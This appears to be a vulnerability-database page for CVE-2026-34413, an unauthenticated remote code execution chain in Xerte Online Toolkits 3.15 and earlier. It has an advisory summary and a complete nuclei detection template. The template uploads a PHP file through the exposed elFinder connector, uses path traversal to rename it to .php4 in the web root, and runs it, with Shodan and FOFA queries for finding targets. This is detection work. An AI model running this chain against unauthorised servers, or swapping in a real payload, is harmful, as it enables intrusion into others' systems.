Browse / CVEs / CVE-2026-34413
CVE-2026-34413· xerte / xerte online toolkits· CWE-306
Xerte Online Toolkits <= 3.15 - Remote Code Execution
Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.
Impact
An unauthenticated attacker can execute arbitrary PHP code on the server hosting Xerte Online Toolkits.
Fix
Update to a fixed release. The fix, which adds exit() after the access-control redirect and sanitizes elFinder file names, was backported to the 3.13, 3.14 and 3.15 branches.
How to confirm it
Send: GET /setup/
Positive when: status_code == 200 and contains(body, "Welcome to Xerte Online Toolkits Installer")
Send: GET /editor/elfinder/php/connector.php
Positive when: status_code == 302 and contains(body, "Invalid upload location")
Send: GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=mkdir&nam…
Positive when: status_code == 302 and contains_all(body, "added", "hash", "name")
Send: POST /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/
Positive when: status_code == 302 and contains_all(body, "added", "hash", "name")
Send: GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=rename&ta…
Positive when: status_code == 302
Send: GET /{{rand}}{{pid}}.php4
Positive when: status_code == 200 and contains(body, "c8c605999f3d8352d7bb792cf3fdb25b")Run it with nuclei: nuclei -id CVE-2026-34413 -u <target>
The full check
id: CVE-2026-34413
info:
name: Xerte Online Toolkits <= 3.15 - Remote Code Execution
author: Aryu-RU
severity: critical
description: |
Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.
impact: |
An unauthenticated attacker can execute arbitrary PHP code on the server hosting Xerte Online Toolkits.
remediation: |
Update to a fixed release. The fix, which adds exit() after the access-control redirect and sanitizes elFinder file names, was backported to the 3.13, 3.14 and 3.15 branches.
reference:
- https://www.vulncheck.com/advisories/xerte-online-toolkits-missing-authentication-via-connector-php
- https://github.com/bootstrapbool/xerteonlinetoolkits-rce
- https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527
- https://nvd.nist.gov/vuln/detail/CVE-2026-34413
- https://nvd.nist.gov/vuln/detail/CVE-2026-34414
- https://nvd.nist.gov/vuln/detail/CVE-2026-34415
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-34413
epss-score: 0.0311
epss-percentile: 0.87899
cwe-id: CWE-306
metadata:
verified: true
vendor: xerte
product: xerte_online_toolkits
shodan-query: http.title:"Xerte Online Toolkits"
fofa-query: title="Xerte Online Toolkits"
tags: cve,cve2026,xerte,elfinder,rce,unauth,intrusive,file-upload
variables:
num: "999999999"
rand: "{{rand_text_alpha(8)}}"
flow: |
http(1);
if (template["webroot"]) {
http(2);
if (template["authbypass"]) {
for (let pid = 1; pid <= 30; pid++) {
set("pid", pid);
http(3);
http(4);
http(5);
if (http(6)) {
break;
}
}
}
}
http:
- raw:
- |
GET /setup/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: webroot
part: body
group: 1
regex:
- '<code>([^<]+)</code>'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Welcome to Xerte Online Toolkits Installer")'
condition: and
internal: true
- raw:
- |
GET /editor/elfinder/php/connector.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: authbypass
part: body
regex:
- "Invalid upload location"
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(body, "Invalid upload location")'
condition: and
internal: true
- raw:
- |
GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=mkdir&name={{rand}}{{pid}}&target=l1_Lw HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains_all(body, "added", "hash", "name")'
condition: and
internal: true
- raw:
- |
POST /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/ HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----xerteboundary
------xerteboundary
Content-Disposition: form-data; name="cmd"
upload
------xerteboundary
Content-Disposition: form-data; name="target"
l1_Lw
------xerteboundary
Content-Disposition: form-data; name="upload[]"; filename="{{rand}}{{pid}}.txt"
Content-Type: text/plain
<br><?php echo md5("{{num}}"); unlink(__FILE__); ?>
------xerteboundary--
extractors:
- type: regex
name: fileid
part: body
group: 1
regex:
- '"hash":"(l1_[^"]+)"'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains_all(body, "added", "hash", "name")'
condition: and
internal: true
- raw:
- |
GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=rename&target={{fileid}}&name={{rand}}{{pid}}/../../../../{{rand}}{{pid}}.php4 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true
- raw:
- |
GET /{{rand}}{{pid}}.php4 HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "c8c605999f3d8352d7bb792cf3fdb25b")'
condition: andReferences
- https://www.vulncheck.com/advisories/xerte-online-toolkits-missing-authentication-via-connector-php
- https://github.com/bootstrapbool/xerteonlinetoolkits-rce
- https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527
- https://nvd.nist.gov/vuln/detail/CVE-2026-34413
- https://nvd.nist.gov/vuln/detail/CVE-2026-34414
- https://nvd.nist.gov/vuln/detail/CVE-2026-34415
Use this check only on systems you are authorised to test. Where the data comes from